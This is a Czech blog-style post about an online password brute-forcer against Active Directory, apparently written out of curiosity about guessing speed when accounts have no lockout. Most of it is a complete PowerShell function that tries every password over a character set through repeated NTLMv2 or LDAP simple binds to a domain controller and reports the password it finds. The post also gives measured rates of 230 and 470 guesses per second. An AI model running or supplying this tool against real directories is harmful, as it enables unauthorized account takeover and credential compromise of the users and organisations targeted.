| Už jsem si dlouho chtěl naprogramovat online zkoušečku hesel vůči Active Directory. Zajímalo mě, jak rychlé to je, když neexistuje zamykání účtů (account lockout). Tak jsem si to naprogramoval.
Výsledek je pro dva druhy ověření různý. Použil jsem NTLMv2 a Simple Bind (neboli Basic autentizaci, tedy plaintextové heslo). Schválně jsem nepoužil Kerberos, protože to by se musely generovat tikety pro každé zkoušené heslo a byť by to tedy selhávalo už dopředu při vydávání Kerberos TGT, tak by to bylo stejně pomalejší. Protože pro každé takové vydání by se muselo nahodit nové TCP spojení a to ještě dvakrát - bez pre-authentication a potom s ní. V případě ldap simple bind je to jenom jeden round-trip.
Takže jen NTLMv2 a simple bind. Používám samozřejmě TLS pro simple bind, protože to může být vyžadováno politikami. Samo TLS nijak výkonu nevadí, protože se to celé odehrává v rámci jednoho, už nahozeného, TCP spojení, takže ani TLS handshake znovu neprobíhá.
Dokáže to zkoušet 230 hesel za sekundu přes NTLMv2.
Nebo 470 hesel za vteřinu přes Simple bind.
function global:Try-LdapPasswordsFast (
[string] $dc,
[string] $login,
[string] $domain,
[switch] $authBasic,
[int] $tryLength = 5,
[string] $charSet = 'abcdefgh' #'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
)
{
if (([AppDomain]::CurrentDomain.GetAssemblies() | % { $_.Evidence.Name }) -notcontains 'System.DirectoryServices.Protocols') {
[void] ([System.Reflection.Assembly]::LoadWithPartialName('System.DirectoryServices.Protocols'))
}
[System.DirectoryServices.Protocols.LdapConnection] $conn = $null
[System.Management.Automation.ActionPreference] $errorActionBackup = $global:errorActionPreference
$global:errorActionPreference = [System.Management.Automation.ActionPreference]::Stop
try {
if ($authBasic -and ($dc -notlike '?*:?*')) {
$dc = $dc + ':636'
}
$conn = New-Object System.DirectoryServices.Protocols.LdapConnection $dc
if ($authBasic) {
$conn.SessionOptions.ProtocolVersion = 3
$conn.SessionOptions.Signing = $false
$conn.SessionOptions.Sealing = $false
$conn.SessionOptions.SecureSocketLayer = $true
$conn.AuthType = [DirectoryServices.Protocols.AuthType]::Basic
} else {
$conn.SessionOptions.ProtocolVersion = 3
$conn.SessionOptions.Signing = $true
$conn.SessionOptions.Sealing = $false
$conn.SessionOptions.SecureSocketLayer = $false
$conn.AuthType = [DirectoryServices.Protocols.AuthType]::Ntlm
}
[double] $pwdCount = 1;
for ($i = 0; $i -lt $tryLength; $i++) { $pwdCount = $pwdCount * $charSet.Length }
Write-Host ('Will try passwords: len = {0} | charset = {1} | pwds = {2}' -f $tryLength, $charSet.Length, $pwdCount)
[byte[]] $charMatrix = New-Object byte[] $tryLength
for ($i = 0; $i -lt $charMatrix.Length; $i ++) { $charMatrix[$i] = 0 }
[byte] $positionMax = $charSet.Length - 1
[int] $iteration = 0
[string] $foundPwd = [string]::Empty
[System.Text.StringBuilder] $pwdMachine = New-Object System.Text.StringBuilder $charMatrix.Length
for ($i = 0; $i -lt $charMatrix.Length; $i ++) { [void] $pwdMachine.Append('.') }
$error.Clear()
$dtStart = [DateTime]::Now
do {
$iteration ++
[byte] $i = 0
while ($i -lt $charMatrix.Length) {
if ($charMatrix[$i] -eq $positionMax) {
$charMatrix[$i] = 0
$i ++
continue
} else {
$charMatrix[$i] = $charMatrix[$i] + 1
break
}
}
for ($k = 0; $k -lt $charMatrix.Length; $k ++)
{
$pwdMachine[$k] = $charSet[$charMatrix[$k]]
}
$onePwd = $pwdMachine.ToString()
$cred = New-Object System.Net.NetworkCredential $login, $onePwd, $domain
[bool] $check = $true
try {
$conn.Bind($cred)
} catch {
#Write-Host ('Error on password: {0} | {1}' -f $onePwd, $_.Exception.Message)
$check = $false
}
if ($check) {
$foundPwd = $onePwd
break
}
if (($iteration % 27000) -eq 0) {
$dtProcessDiff = [DateTime]::Now - $dtStart
Write-Host ('Progress at: {0,8:D} | {1} | {2,7:N1} min | pwds/sec = {3:N0}' -f $iteration, $onePwd, $dtProcessDiff.TotalMinutes, (([double] $iteration) / $dtProcessDiff.TotalSeconds))
}
} while ($i -lt $charMatrix.Length)
$dtEnd = [DateTime]::Now
Write-Host ('Time stats: iterations = {0} | start = {1} | end = {2} | took = {3:N1} min' -f $iteration, $dtStart.ToString('yyyy-MM-dd HH:mm:ss'), $dtEnd.ToString('yyyy-MM-dd HH:mm:ss'), ($dtEnd - $dtStart).TotalMinutes)
if ([string]::IsNullOrEmpty($foundPwd)) {
Write-Host ('Didnt find the password')
} else {
Write-Host ('Found password: {0}' -f $foundPwd)
}
} catch {
Write-Host ('Error: {0}' -f $_.Exception.Message)
} finally {
if (-not ([object]::Equals($null, $conn))) {
$conn.Dispose()
}
$global:errorActionPreference = $errorActionBackup
}
}
Tak jen pro představu. |